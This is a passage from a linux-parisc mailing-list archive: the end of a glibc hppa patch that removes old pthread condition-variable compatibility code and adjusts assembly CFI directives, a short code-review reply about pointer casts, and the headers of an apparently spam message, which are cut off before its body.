-  var->__data.__wseq =3D 0;						=
\
-  var->__data.__signals_sent =3D 0;					=
\
-  var->__data.__confirmed =3D 0;						=
\
-  var->__data.__generation =3D 0;						=
\
-  var->__data.__mutex =3D NULL;						=
\
-  var->__data.__quiescence_waiters =3D 0;					=
\
-  var->__data.__clockid =3D 0;						=
\
-  /* Clear __initializer last, to indicate initialization is done.  */	=
\
-  /* This synchronizes-with the acquire load below.  */			=
\
-  atomic_store_release (&var->__data.__initializer, 0);			=
\
-})
-
-#define cond_compat_check_and_clear(var) \
-({								\
-  int v;							\
-  int *value =3D &var->__data.__initializer;			\
-  /* This synchronizes-with the release store above.  */	\
-  while ((v =3D atomic_load_acquire (value)) !=3D 0)		\
-    {								\
-      if (v =3D=3D 1						\
-	  /* Relaxed MO is fine; it only matters who's first.  */        =
\
-	  && atomic_compare_exchange_acquire_weak_relaxed (value, 1, 2)) =
\
-	{							\
-	  /* We're first; initialize structure.  */		\
-	  cond_compat_clear (var);				\
-	  break;						\
-	}							\
-      else							\
-	/* Yield before we re-check initialization status.  */	\
-	sched_yield ();						\
-    }								\
-})
-
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S =
b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
index fc4573c86b..8b7d7df2fe 100644
--- a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
+++ b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
@@ -58,7 +58,10 @@ ENTRY(__vfork)
 	   that there is no child now, so it's safe to create
 	   a frame.  */
 	stw	%rp, -20(%sp)
+	.cfi_offset 2, -20
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 	stw	%sp, -4(%sp)
=20
 	sub	%r0,%ret0,%r3
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread.h =
b/sysdeps/unix/sysv/linux/hppa/pthread.h
index ac617201d2..d3b960edd4 100644
--- a/sysdeps/unix/sysv/linux/hppa/pthread.h
+++ b/sysdeps/unix/sysv/linux/hppa/pthread.h
@@ -185,7 +185,7 @@ enum
=20
=20
 /* Conditional variable handling.  */
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, 0, 0, (void *) 0, 0, 0 } =
}
+#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, =
{0, 0} } }
=20
=20
 /* Cleanup buffers */
@@ -1165,12 +1165,6 @@ __END_DECLS
 #ifndef _PTHREAD_H_HPPA_
 #define _PTHREAD_H_HPPA_ 1
=20
-/* The pthread_cond_t initializer is compatible only with NPTL. We do =
not
-   want to be forwards compatible, we eventually want to drop the code
-   that has to clear the old LT initializer.  */
-#undef PTHREAD_COND_INITIALIZER
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, (void *) 0, 0, 0, 0, 0, 0 =
} }
-
 /* The pthread_mutex_t and pthread_rwlock_t initializers are compatible
    only with NPTL. NPTL assumes pthread_rwlock_t is all zero.  */
 #undef PTHREAD_MUTEX_INITIALIZER
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
deleted file mode 100644
index a6f9f5d433..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_broadcast.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_broadcast (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_broadcast_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_broadcast, =
pthread_cond_broadcast,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_broadcast
-# define __pthread_cond_broadcast __pthread_cond_broadcast_internal
-# include_next <pthread_cond_broadcast.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
deleted file mode 100644
index 49af087bb4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_destroy.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_destroy (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_destroy_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_destroy, =
pthread_cond_destroy,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_destroy
-# define __pthread_cond_destroy __pthread_cond_destroy_internal
-# include_next <pthread_cond_destroy.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
deleted file mode 100644
index ccb3de07ff..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_init.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_init (pthread_cond_t *cond, const pthread_condattr_t =
*cond_attr)
-{
-  cond_compat_clear (cond);
-  return __pthread_cond_init_internal (cond, cond_attr);
-}
-versioned_symbol (libpthread, __pthread_cond_init, pthread_cond_init,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_init
-# define __pthread_cond_init __pthread_cond_init_internal
-# include_next <pthread_cond_init.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
deleted file mode 100644
index 2bf32af933..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_signal.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_signal (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_signal_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_signal, =
pthread_cond_signal,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_signal
-# define __pthread_cond_signal __pthread_cond_signal_internal
-# include_next <pthread_cond_signal.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
deleted file mode 100644
index 1cc2fc15d4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_wait.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_wait.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_wait (pthread_cond_t *cond, pthread_mutex_t *mutex)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_wait_internal (cond, mutex);
-}
-versioned_symbol (libpthread, __pthread_cond_wait, pthread_cond_wait,
-                  GLIBC_2_3_2);
-int
-__pthread_cond_timedwait (cond, mutex, abstime)
-     pthread_cond_t *cond;
-     pthread_mutex_t *mutex;
-     const struct timespec *abstime;
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_timedwait_internal (cond, mutex, abstime);
-}
-versioned_symbol (libpthread, __pthread_cond_timedwait, =
pthread_cond_timedwait,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_wait
-# define __pthread_cond_wait __pthread_cond_wait_internal
-# undef __pthread_cond_timedwait
-# define __pthread_cond_timedwait __pthread_cond_timedwait_internal
-# include_next <pthread_cond_wait.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/setcontext.S =
b/sysdeps/unix/sysv/linux/hppa/setcontext.S
index 3f4da7938f..92cb204f8d 100644
--- a/sysdeps/unix/sysv/linux/hppa/setcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/setcontext.S
@@ -26,8 +26,11 @@
 ENTRY(__setcontext)
 	/* Prologue */
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Save ucp.  */
@@ -141,7 +144,7 @@ ENTRY(__setcontext)
=20
 	/* No further context available. Exit now.  */
 	bl	HIDDEN_JUMPTARGET(exit), %r2
-	ldi	-1, %r26
+	ldi	0, %r26
=20
=20
 .Lerror:
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
index 5ea297267f..8b7f2b2095 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h
@@ -62,12 +62,11 @@
 	ENTRY (__##syscall_name##_nocancel)				=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
 	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Save r19 */					ASM_LINE_SEP	=
\
 	SAVE_PIC(TREG)					ASM_LINE_SEP	=
\
 	/* Do syscall, delay loads # */			ASM_LINE_SEP	=
\
@@ -91,21 +90,19 @@ L(pre_nc_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
 	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP	=
\
 	ret						ASM_LINE_SEP	=
\
 	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	=
\
 	/**********************************************/ASM_LINE_SEP	=
\
 	ENTRY (name)							=
\
 	DOARGS_##args					ASM_LINE_SEP	=
\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	=
\
+	.cfi_def_cfa_offset -64				ASM_LINE_SEP	=
\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	=
\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 30, -4				ASM_LINE_SEP	=
\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	=
\
-	.cfi_offset 19, -32				ASM_LINE_SEP	=
\
+	.cfi_offset 19, 32				ASM_LINE_SEP	=
\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	=
\
 	SINGLE_THREAD_P					ASM_LINE_SEP	=
\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	=
\
@@ -168,40 +165,32 @@ L(pre_end):						=
ASM_LINE_SEP	\
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	=
\
 	/* Undo frame */				ASM_LINE_SEP	=
\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	=
\
-	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	=
\
 	/* Restore rp before exit */			ASM_LINE_SEP	=
\
-	ldw -20(%sp), %rp				ASM_LINE_SEP	=
\
-	.cfi_restore 2					ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP
=20
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
 # define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 26, -36			=
ASM_LINE_SEP
+			.cfi_offset 26, 28			=
ASM_LINE_SEP
 # define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 25, -40			=
ASM_LINE_SEP
+			.cfi_offset 25, 24			=
ASM_LINE_SEP
 # define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 24, -44			=
ASM_LINE_SEP
+			.cfi_offset 24, 20			=
ASM_LINE_SEP
 # define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 23, -48			=
ASM_LINE_SEP
+			.cfi_offset 23, 16			=
ASM_LINE_SEP
 # define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 22, -52			=
ASM_LINE_SEP
+			.cfi_offset 22, 12			=
ASM_LINE_SEP
 # define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	=
ASM_LINE_SEP	\
-			.cfi_offset 21, -56			=
ASM_LINE_SEP
+			.cfi_offset 21, 8			=
ASM_LINE_SEP
=20
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP	\
-			.cfi_restore 26				=
ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP	\
-			.cfi_restore 25				=
ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP	\
-			.cfi_restore 24				=
ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP	\
-			.cfi_restore 23				=
ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP	\
-			.cfi_restore 22				=
ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP	\
-			.cfi_restore 21				=
ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	=
ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	=
ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	=
ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	=
ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	=
ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	=
ASM_LINE_SEP
=20
 # if IS_IN (libpthread)
 #  ifdef PIC
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index d8dd0431a4..c0cd59e9f5 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -49,11 +49,9 @@
    to another function */
 #define TREG 4
 #define SAVE_PIC(SREG) \
-	copy %r19, SREG ASM_LINE_SEP	\
-	.cfi_register 19, SREG
+	copy %r19, SREG
 #define LOAD_PIC(LREG) \
-	copy LREG , %r19 ASM_LINE_SEP	\
-	.cfi_restore 19
+	copy LREG , %r19
 /* Inline assembly defines */
 #define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
 #define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
@@ -292,12 +290,11 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_def_cfa_offset -64			ASM_LINE_SEP	\
 	.cfi_offset TREG, 0			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
-	.cfi_offset 19, -32			ASM_LINE_SEP	\
+	.cfi_offset 19, 32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -320,10 +317,8 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
-	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP	\
-	.cfi_restore 2				ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP
=20
 /* We do nothing with the return, except hand it back to someone else =
*/
 #undef  DO_CALL_NOERRNO

--Apple-Mail-6-356281441--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Tue, 11 Apr 2017 15:57:57 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <6c7c6e7be105acd09fafdcdbcce4a08f@sf-tec.de>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
 <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
 <2241815.7QkIsKQeSs@daneel.sf-tec.de>
 <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi>
 <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net>
 <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
 <9978E89C-A7D6-4ED2-9751-69CA148505E3@bell.net>
 <076425B0-DC96-4309-95D3-50E5941452A3@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1491919098 6704 195.159.176.226 (11 Apr 2017 13:58:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Apr 2017 13:58:18 +0000 (UTC)
User-Agent: Roundcube Webmail/1.2.4
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Meelis Roos <mroos@linux.ee>,
        linux-parisc@vger.kernel.org, linux-parisc-owner@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 11 15:58:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cxwJ1-0001SR-Ce
	for glpp-linux-parisc@m.gmane.org; Tue, 11 Apr 2017 15:58:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751527AbdDKN6D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 11 Apr 2017 09:58:03 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:49961 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752410AbdDKN6B (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 11 Apr 2017 09:58:01 -0400
Original-Received: (qmail 11151 invoked from network); 11 Apr 2017 13:57:58 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:36798 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <dave.anglin@bell.net>; Tue, 11 Apr 2017 15:57:58 +0200
In-Reply-To: <076425B0-DC96-4309-95D3-50E5941452A3@bell.net>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27388
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27388>

Am 2017-04-11 14:01, schrieb John David Anglin:
> On 2017-04-05, at 7:03 PM, John David Anglin wrote:
> 
>> Attached is my latest patch for glibc trunk on hppa.  
>> sysdeps/hppa/fpu/libm-test-ulps is updated with new
>> ulps values.  sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c is 
>> updated because define for ALIGN_UP
>> moved.
> 
> Latest patch set adds v3 version of pthread_cond_t patch and fixes
> nptl/tst-typesizes.

+	  char *new_guard = (char *) (((uintptr_t) pd - guardsize) & 
~pagesize_m1);
+	  char *old_guard = (char *) (((uintptr_t) pd - pd->guardsize) & 
~pagesize_m1);

Why cast this to char* at all? Just use the uintptr_t numbers for the 
compare.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sarah JOHNSON <sarah.johnson197070@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Greetings.
Date: Fri, 14 Apr 2017 09:19:12 +0000 (UTC)
Lines: 16
Approved: news@gmane.org
Message-ID: <934227493.275261.1492161552873__14553.391285199$1492161613$gmane$org@mail.yahoo.com>
References: <934227493.275261.1492161552873.ref@mail.yahoo.com>
Reply-To: Sarah JOHNSON <sarah.johnson197070@yahoo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1492161613 10522 195.159.176.226 (14 Apr 2017 09:20:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Apr 2017 09:20:13 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 14 11:20:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cyxOh-0002Wh-JS
	for glpp-linux-parisc@m.gmane.org; Fri, 14 Apr 2017 11:20:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753652AbdDNJUM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 14 Apr 2017 05:20:12 -0400
Original-Received: from sonic316-29.consmr.mail.ne1.yahoo.com ([66.163.187.155]:44277
        "EHLO sonic316-29.consmr.mail.ne1.yahoo.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753617AbdDNJTO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 14 Apr 2017 05:19:14 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1492161553; bh=f2Oy7ijmvb6nhdJUrWm/b9cIKHVeRGeCKT4RIGANgLg=; h=Date:From:Reply-To:Subject:References:From:Subject; b=WvtBzztCHSbUtfSL8yXFeUlNHOTkUdRThsGsU7QCiuIZn3VUvmG1A66JISIS5PtacV796FQirYi/gB1y8PuxfvZ2iVzA/WgNHvTzHzxJDUWgvNrUHIXC1x0r5Hs8+Ej7/Zv/5M3rO6RoTVYefcyRUrCWU4K3f5yRbwZmntDcPG5rGiLHFzD4OgA3g4HrJ8gbh5qJg94cMJMx+Blo3im6/ZN6fTPVRwjG2cmDuHiks5zpoiLQ6JQeYt0WG9egeP0VstyuKYDZeWCRxFs2CoOR7R4k58+gIpsspIbUxpYeO0cJN6OrfDusK0rCBlg85rLK4wOw5jgL8C96QYMcs+dg5g==
X-YMail-OSG: OjXvI9oVM1k5IZ13qCsVk54rihChU06n7sDvDDGF0Jncs3iJviKjDiyXMIGxWOu
 pCgHesyUpW16pr1nhYGU9X3wGM9sJz8liTB4VXSz4UlY0yYPsmPcaZsJbt2Hy31mnV2aTCIOcW6L
 E9JqyvVBafvuSW9PYzRMxK7kU2yKgP64QylyEw80nSSFNt4ewz6nvtv8_BA.LQOs6jkJqIhYin.e
